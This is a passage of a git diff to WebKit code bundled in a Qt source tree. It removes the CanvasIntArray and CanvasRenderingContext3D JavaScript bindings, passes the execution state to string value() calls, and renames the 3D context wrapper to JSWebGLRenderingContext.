-    return getDOMObjectWrapper<JSCanvasFloatArray>(exec, globalObject, object);
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasIntArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasIntArrayConstructor.cpp
deleted file mode 100644
index 6d57912..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasIntArrayConstructor.cpp
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasIntArrayConstructor.h"
-
-#include "Document.h"
-#include "CanvasIntArray.h"
-#include "JSCanvasArrayBuffer.h"
-#include "JSCanvasArrayBufferConstructor.h"
-#include "JSCanvasIntArray.h"
-#include <runtime/Error.h>
-
-namespace WebCore {
-
-using namespace JSC;
-
-const ClassInfo JSCanvasIntArrayConstructor::s_info = { "CanvasIntArrayConstructor", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasIntArrayConstructor::JSCanvasIntArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
-    : DOMConstructorObject(JSCanvasIntArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
-{
-    putDirect(exec->propertyNames().prototype, JSCanvasIntArrayPrototype::self(exec, globalObject), None);
-    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
-}
-
-static JSObject* constructCanvasIntArray(ExecState* exec, JSObject* constructor, const ArgList& args)
-{
-    JSCanvasIntArrayConstructor* jsConstructor = static_cast<JSCanvasIntArrayConstructor*>(constructor);
-    RefPtr<CanvasIntArray> array = static_cast<CanvasIntArray*>(construct<CanvasIntArray, int>(exec, args).get());
-    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
-}
-
-JSC::ConstructType JSCanvasIntArrayConstructor::getConstructData(JSC::ConstructData& constructData)
-{
-    constructData.native.function = constructCanvasIntArray;
-    return ConstructTypeHost;
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasIntArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasIntArrayConstructor.h
deleted file mode 100644
index 5e19652..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasIntArrayConstructor.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef JSCanvasIntArrayConstructor_h
-#define JSCanvasIntArrayConstructor_h
-
-#include "JSDOMBinding.h"
-#include "JSDocument.h"
-
-namespace WebCore {
-
-    class JSCanvasIntArrayConstructor : public DOMConstructorObject {
-    public:
-        JSCanvasIntArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
-        static const JSC::ClassInfo s_info;
-
-    private:
-        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
-        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    };
-
-}
-
-#endif // JSCanvasIntArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasIntArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasIntArrayCustom.cpp
deleted file mode 100644
index 8442b87..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasIntArrayCustom.cpp
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasIntArray.h"
-
-#include "CanvasIntArray.h"
-
-using namespace JSC;
-
-namespace WebCore {
-
-void JSCanvasIntArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
-{
-    impl()->set(index, static_cast<signed int>(value.toInt32(exec)));
-}
-
-JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasIntArray* object)
-{
-    return getDOMObjectWrapper<JSCanvasIntArray>(exec, globalObject, object);
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContext2DCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContext2DCustom.cpp
index bb3500b..a271923 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContext2DCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContext2DCustom.cpp
@@ -51,10 +51,10 @@ static JSValue toJS(ExecState* exec, CanvasStyle* style)
     return jsString(exec, style->color());
 }
 
-static PassRefPtr<CanvasStyle> toHTMLCanvasStyle(ExecState*, JSValue value)
+static PassRefPtr<CanvasStyle> toHTMLCanvasStyle(ExecState* exec, JSValue value)
 {
     if (value.isString())
-        return CanvasStyle::create(asString(value)->value());
+        return CanvasStyle::create(asString(value)->value(exec));
     if (!value.isObject())
         return 0;
     JSObject* object = asObject(value);
@@ -102,13 +102,13 @@ JSValue JSCanvasRenderingContext2D::setFillColor(ExecState* exec, const ArgList&
     switch (args.size()) {
         case 1:
             if (args.at(0).isString())
-                context->setFillColor(asString(args.at(0))->value());
+                context->setFillColor(asString(args.at(0))->value(exec));
             else
                 context->setFillColor(args.at(0).toFloat(exec));
             break;
         case 2:
             if (args.at(0).isString())
-                context->setFillColor(asString(args.at(0))->value(), args.at(1).toFloat(exec));
+                context->setFillColor(asString(args.at(0))->value(exec), args.at(1).toFloat(exec));
             else
                 context->setFillColor(args.at(0).toFloat(exec), args.at(1).toFloat(exec));
             break;
@@ -139,13 +139,13 @@ JSValue JSCanvasRenderingContext2D::setStrokeColor(ExecState* exec, const ArgLis
     switch (args.size()) {
         case 1:
             if (args.at(0).isString())
-                context->setStrokeColor(asString(args.at(0))->value());
+                context->setStrokeColor(asString(args.at(0))->value(exec));
             else
                 context->setStrokeColor(args.at(0).toFloat(exec));
             break;
         case 2:
             if (args.at(0).isString())
-                context->setStrokeColor(asString(args.at(0))->value(), args.at(1).toFloat(exec));
+                context->setStrokeColor(asString(args.at(0))->value(exec), args.at(1).toFloat(exec));
             else
                 context->setStrokeColor(args.at(0).toFloat(exec), args.at(1).toFloat(exec));
             break;
@@ -298,7 +298,7 @@ JSValue JSCanvasRenderingContext2D::setShadow(ExecState* exec, const ArgList& ar
         case 4:
             if (args.at(3).isString())
                 context->setShadow(args.at(0).toFloat(exec), args.at(1).toFloat(exec),
-                                   args.at(2).toFloat(exec), asString(args.at(3))->value());
+                                   args.at(2).toFloat(exec), asString(args.at(3))->value(exec));
             else
                 context->setShadow(args.at(0).toFloat(exec), args.at(1).toFloat(exec),
                                    args.at(2).toFloat(exec), args.at(3).toFloat(exec));
@@ -306,7 +306,7 @@ JSValue JSCanvasRenderingContext2D::setShadow(ExecState* exec, const ArgList& ar
         case 5:
             if (args.at(3).isString())
                 context->setShadow(args.at(0).toFloat(exec), args.at(1).toFloat(exec),
-                                   args.at(2).toFloat(exec), asString(args.at(3))->value(),
+                                   args.at(2).toFloat(exec), asString(args.at(3))->value(exec),
                                    args.at(4).toFloat(exec));
             else
                 context->setShadow(args.at(0).toFloat(exec), args.at(1).toFloat(exec),
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContext3DCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContext3DCustom.cpp
deleted file mode 100644
index 3938ba1..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContext3DCustom.cpp
+++ /dev/null
@@ -1,443 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasRenderingContext3D.h"
-
-#include "CanvasRenderingContext3D.h"
-#include "ExceptionCode.h"
-#include "HTMLCanvasElement.h"
-#include "HTMLImageElement.h"
-#include "JSCanvasFloatArray.h"
-#include "JSCanvasIntArray.h"
-#include "JSHTMLCanvasElement.h"
-#include "JSHTMLImageElement.h"
-#include "JSWebKitCSSMatrix.h"
-#include <runtime/Error.h>
-#include <wtf/FastMalloc.h>
-#include <wtf/OwnFastMallocPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-JSValue JSCanvasRenderingContext3D::bufferData(JSC::ExecState* exec, JSC::ArgList const& args)
-{
-    if (args.size() != 3)
-        return throwError(exec, SyntaxError);
-
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned usage = args.at(2).toInt32(exec);
-
-    // If argument 1 is a number, we are initializing this buffer to that size
-    if (!args.at(1).isObject()) {
-        unsigned int count = args.at(1).toInt32(exec);
-        static_cast<CanvasRenderingContext3D*>(impl())->bufferData(target, count, usage);
-        return jsUndefined();
-    }
-
-    CanvasArray* array = toCanvasArray(args.at(1));
-    
-    static_cast<CanvasRenderingContext3D*>(impl())->bufferData(target, array, usage);
-    return jsUndefined();
-}
-
-JSValue JSCanvasRenderingContext3D::bufferSubData(JSC::ExecState* exec, JSC::ArgList const& args)
-{
-    if (args.size() != 3)
-        return throwError(exec, SyntaxError);
-
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned offset = args.at(1).toInt32(exec);
-    
-    CanvasArray* array = toCanvasArray(args.at(2));
-    
-    static_cast<CanvasRenderingContext3D*>(impl())->bufferSubData(target, offset, array);
-    return jsUndefined();
-}
-
-// void texImage2DHTML(in unsigned long target, in unsigned long level, in HTMLImageElement image);
-JSValue JSCanvasRenderingContext3D::texImage2D(ExecState* exec, const ArgList& args)
-{ 
-    if (args.size() < 3)
-        return throwError(exec, SyntaxError);
-
-    ExceptionCode ec = 0;
-    CanvasRenderingContext3D* context = static_cast<CanvasRenderingContext3D*>(impl());    
-    unsigned target = args.at(0).toInt32(exec);
-    if (exec->hadException())    
-        return jsUndefined();
-        
-    unsigned level = args.at(1).toInt32(exec);
-    if (exec->hadException())    
-        return jsUndefined();
-    
-    if (args.size() > 5) {
-        // This must be the bare array case.
-        if (args.size() != 9)
-            return throwError(exec, SyntaxError);
-            
-        unsigned internalformat = args.at(2).toInt32(exec);
-        if (exec->hadException())    
-            return jsUndefined();
-
-        unsigned width = args.at(3).toInt32(exec);
-        if (exec->hadException())    
-            return jsUndefined();
-
-        unsigned height = args.at(4).toInt32(exec);
-        if (exec->hadException())    
-            return jsUndefined();
-
-        unsigned border = args.at(5).toInt32(exec);
-        if (exec->hadException())    
-            return jsUndefined();
-
-        unsigned format = args.at(6).toInt32(exec);
-        if (exec->hadException())    
-            return jsUndefined();
-
-        unsigned type = args.at(7).toInt32(exec);
-        if (exec->hadException())    
-            return jsUndefined();
-
-        CanvasArray* array = toCanvasArray(args.at(8));
-        if (exec->hadException())    
-            return jsUndefined();
-            
-        if (!array)
-            return throwError(exec, TypeError);
-        
-        // FIXME: Need to check to make sure CanvasArray is a CanvasByteArray or CanvasShortArray,
-        // depending on the passed type parameter.
-        
-        context->texImage2D(target, level, internalformat, width, height, border, format, type, array, ec);
-        return jsUndefined();
-    }
-    
-    // The image parameter can be a <img> or <canvas> element.
-    JSValue value = args.at(2);
-    if (!value.isObject())
-        return throwError(exec, TypeError);
-    JSObject* o = asObject(value);
-    
-    bool flipY = (args.size() > 3) ? args.at(3).toBoolean(exec) : false;
-    bool premultiplyAlpha = (args.size() > 4) ? args.at(3).toBoolean(exec) : false;
-    
-    if (o->inherits(&JSHTMLImageElement::s_info)) {
-        HTMLImageElement* imgElt = static_cast<HTMLImageElement*>(static_cast<JSHTMLElement*>(o)->impl());
-        context->texImage2D(target, level, imgElt, flipY, premultiplyAlpha, ec);
-    } else if (o->inherits(&JSHTMLCanvasElement::s_info)) {
-        HTMLCanvasElement* canvas = static_cast<HTMLCanvasElement*>(static_cast<JSHTMLElement*>(o)->impl());
-        context->texImage2D(target, level, canvas, flipY, premultiplyAlpha, ec);
-    } else {
-        setDOMException(exec, TYPE_MISMATCH_ERR);
-    }
-    
-    return jsUndefined();    
-}
-
-// void texSubImage2DHTML(in unsigned long target, in unsigned long level, in unsigned long xoff, in unsigned long yoff, in unsigned long width, in unsigned long height, in HTMLImageElement image);
-JSValue JSCanvasRenderingContext3D::texSubImage2D(ExecState* exec, const ArgList& args)
-{ 
-    if (args.size() < 7 || args.size() > 9)
-        return throwError(exec, SyntaxError);
-
-    CanvasRenderingContext3D* context = static_cast<CanvasRenderingContext3D*>(impl());    
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned level = args.at(1).toInt32(exec);
-    unsigned xoff = args.at(2).toInt32(exec);
-    unsigned yoff = args.at(3).toInt32(exec);
-    unsigned width = args.at(4).toInt32(exec);
-    unsigned height = args.at(5).toInt32(exec);
-    
-    // The image parameter can be a <img> or <canvas> element.
-    JSValue value = args.at(6);
-    if (!value.isObject())
-        return throwError(exec, TypeError);
-    JSObject* o = asObject(value);
-    
-    bool flipY = (args.size() > 3) ? args.at(3).toBoolean(exec) : false;
-    bool premultiplyAlpha = (args.size() > 4) ? args.at(3).toBoolean(exec) : false;
-    
-    ExceptionCode ec = 0;
-    if (o->inherits(&JSHTMLImageElement::s_info)) {
-        HTMLImageElement* imgElt = static_cast<HTMLImageElement*>(static_cast<JSHTMLElement*>(o)->impl());
-        context->texSubImage2D(target, level, xoff, yoff, width, height, imgElt, flipY, premultiplyAlpha, ec);
-    } else if (o->inherits(&JSHTMLCanvasElement::s_info)) {
-        HTMLCanvasElement* canvas = static_cast<HTMLCanvasElement*>(static_cast<JSHTMLElement*>(o)->impl());
-        context->texSubImage2D(target, level, xoff, yoff, width, height, canvas, flipY, premultiplyAlpha, ec);
-    } else {
-        setDOMException(exec, TYPE_MISMATCH_ERR);
-    }
-    
-    return jsUndefined();    
-}
-
-template<typename T>
-void toArray(JSC::ExecState* exec, JSC::JSValue value, T*& array, int& size)
-{
-    array = 0;
-    
-    if (!value.isObject())
-        return;
-        
-    JSC::JSObject* object = asObject(value);
-    int length = object->get(exec, JSC::Identifier(exec, "length")).toInt32(exec);
-    void* tempValues;
-    if (!tryFastMalloc(length * sizeof(T)).getValue(tempValues))
-        return;
-    
-    T* values = static_cast<T*>(tempValues);
-    for (int i = 0; i < length; ++i) {
-        JSC::JSValue v = object->get(exec, i);
-        if (exec->hadException())
-            return;
-        values[i] = static_cast<T>(v.toNumber(exec));
-    }
-
-    array = values;
-    size = length;
-}
-
-enum DataFunctionToCall {
-    f_uniform1v, f_uniform2v, f_uniform3v, f_uniform4v,
-    f_vertexAttrib1v, f_vertexAttrib2v, f_vertexAttrib3v, f_vertexAttrib4v
-};
-
-enum DataFunctionMatrixToCall {
-    f_uniformMatrix2fv, f_uniformMatrix3fv, f_uniformMatrix4fv
-};
-
-static JSC::JSValue dataFunctionf(DataFunctionToCall f, JSC::ExecState* exec, const JSC::ArgList& args, CanvasRenderingContext3D* context)
-{
-    if (args.size() != 2)
-        return throwError(exec, SyntaxError);
-
-    long location = args.at(0).toInt32(exec);
-    if (exec->hadException())    
-        return jsUndefined();
-        
-    RefPtr<CanvasFloatArray> canvasArray = toCanvasFloatArray(args.at(1));
-    if (exec->hadException())    
-        return jsUndefined();
-        
-    if (canvasArray) {
-        switch(f) {
-            case f_uniform1v: context->uniform1fv(location, canvasArray.get()); break;
-            case f_uniform2v: context->uniform2fv(location, canvasArray.get()); break;
-            case f_uniform3v: context->uniform3fv(location, canvasArray.get()); break;
-            case f_uniform4v: context->uniform4fv(location, canvasArray.get()); break;
-            case f_vertexAttrib1v: context->vertexAttrib1fv(location, canvasArray.get()); break;
-            case f_vertexAttrib2v: context->vertexAttrib2fv(location, canvasArray.get()); break;
-            case f_vertexAttrib3v: context->vertexAttrib3fv(location, canvasArray.get()); break;
-            case f_vertexAttrib4v: context->vertexAttrib4fv(location, canvasArray.get()); break;
-        }
-        return jsUndefined();
-    }
-    
-    float* array;
-    int size;
-    toArray<float>(exec, args.at(1), array, size);
-    
-    if (!array)
-        return throwError(exec, TypeError);
-
-    switch(f) {
-        case f_uniform1v: context->uniform1fv(location, array, size); break;
-        case f_uniform2v: context->uniform2fv(location, array, size); break;
-        case f_uniform3v: context->uniform3fv(location, array, size); break;
-        case f_uniform4v: context->uniform4fv(location, array, size); break;
-        case f_vertexAttrib1v: context->vertexAttrib1fv(location, array, size); break;
-        case f_vertexAttrib2v: context->vertexAttrib2fv(location, array, size); break;
-        case f_vertexAttrib3v: context->vertexAttrib3fv(location, array, size); break;
-        case f_vertexAttrib4v: context->vertexAttrib4fv(location, array, size); break;
-    }
-    return jsUndefined();
-}
-
-static JSC::JSValue dataFunctioni(DataFunctionToCall f, JSC::ExecState* exec, const JSC::ArgList& args, CanvasRenderingContext3D* context)
-{
-    if (args.size() != 2)
-        return throwError(exec, SyntaxError);
-
-    long location = args.at(0).toInt32(exec);
-    if (exec->hadException())    
-        return jsUndefined();
-        
-    RefPtr<CanvasIntArray> canvasArray = toCanvasIntArray(args.at(1));
-    if (exec->hadException())    
-        return jsUndefined();
-        
-    if (canvasArray) {
-        switch(f) {
-            case f_uniform1v: context->uniform1iv(location, canvasArray.get()); break;
-            case f_uniform2v: context->uniform2iv(location, canvasArray.get()); break;
-            case f_uniform3v: context->uniform3iv(location, canvasArray.get()); break;
-            case f_uniform4v: context->uniform4iv(location, canvasArray.get()); break;
-            default: break;
-        }
-        return jsUndefined();
-    }
-    
-    int* array;
-    int size;
-    toArray<int>(exec, args.at(1), array, size);
-    
-    if (!array)
-        return throwError(exec, TypeError);
-
-    switch(f) {
-        case f_uniform1v: context->uniform1iv(location, array, size); break;
-        case f_uniform2v: context->uniform2iv(location, array, size); break;
-        case f_uniform3v: context->uniform3iv(location, array, size); break;
-        case f_uniform4v: context->uniform4iv(location, array, size); break;
-        default: break;
-    }
-    return jsUndefined();
-}
-
-static JSC::JSValue dataFunctionMatrix(DataFunctionMatrixToCall f, JSC::ExecState* exec, const JSC::ArgList& args, CanvasRenderingContext3D* context)
-{
-    if (args.size() != 3)
-        return throwError(exec, SyntaxError);
-
-    long location = args.at(0).toInt32(exec);
-    if (exec->hadException())    
-        return jsUndefined();
-        
-    bool transpose = args.at(1).toBoolean(exec);
-    if (exec->hadException())    
-        return jsUndefined();
-        
-    RefPtr<CanvasFloatArray> canvasArray = toCanvasFloatArray(args.at(2));
-    if (exec->hadException())    
-        return jsUndefined();
-        
-    if (canvasArray) {
-        switch(f) {
-            case f_uniformMatrix2fv: context->uniformMatrix2fv(location, transpose, canvasArray.get()); break;
-            case f_uniformMatrix3fv: context->uniformMatrix3fv(location, transpose, canvasArray.get()); break;
-            case f_uniformMatrix4fv: context->uniformMatrix4fv(location, transpose, canvasArray.get()); break;
-        }
-        return jsUndefined();
-    }
-    
-    float* array;
-    int size;
-    toArray<float>(exec, args.at(2), array, size);
-    
-    if (!array)
-        return throwError(exec, TypeError);
-
-    switch(f) {
-        case f_uniformMatrix2fv: context->uniformMatrix2fv(location, transpose, array, size); break;
-        case f_uniformMatrix3fv: context->uniformMatrix3fv(location, transpose, array, size); break;
-        case f_uniformMatrix4fv: context->uniformMatrix4fv(location, transpose, array, size); break;
-    }
-    return jsUndefined();
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniform1fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionf(f_uniform1v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniform1iv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctioni(f_uniform1v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniform2fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionf(f_uniform2v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniform2iv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctioni(f_uniform2v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniform3fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionf(f_uniform3v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniform3iv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctioni(f_uniform3v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniform4fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionf(f_uniform4v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniform4iv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctioni(f_uniform4v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniformMatrix2fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionMatrix(f_uniformMatrix2fv, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniformMatrix3fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionMatrix(f_uniformMatrix3fv, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::uniformMatrix4fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionMatrix(f_uniformMatrix4fv, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::vertexAttrib1fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionf(f_vertexAttrib1v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::vertexAttrib2fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionf(f_vertexAttrib2v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::vertexAttrib3fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionf(f_vertexAttrib3v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-JSC::JSValue JSCanvasRenderingContext3D::vertexAttrib4fv(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    return dataFunctionf(f_vertexAttrib4v, exec, args, static_cast<CanvasRenderingContext3D*>(impl()));
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContextCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContextCustom.cpp
index 0cd2aa3..df24eb7 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContextCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasRenderingContextCustom.cpp
@@ -29,8 +29,8 @@
 #include "CanvasRenderingContext2D.h"
 #include "JSCanvasRenderingContext2D.h"
 #if ENABLE(3D_CANVAS)
-#include "CanvasRenderingContext3D.h"
-#include "JSCanvasRenderingContext3D.h"
+#include "WebGLRenderingContext.h"
+#include "JSWebGLRenderingContext.h"
 #endif
 
 using namespace JSC;
@@ -44,7 +44,7 @@ JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasR
 
 #if ENABLE(3D_CANVAS)
     if (object->is3d())
-        return getDOMObjectWrapper<JSCanvasRenderingContext3D>(exec, globalObject, static_cast<CanvasRenderingContext3D*>(object));
+        return getDOMObjectWrapper<JSWebGLRenderingContext>(exec, globalObject, static_cast<WebGLRenderingContext*>(object));
 #endif
     ASSERT(object->is2d());
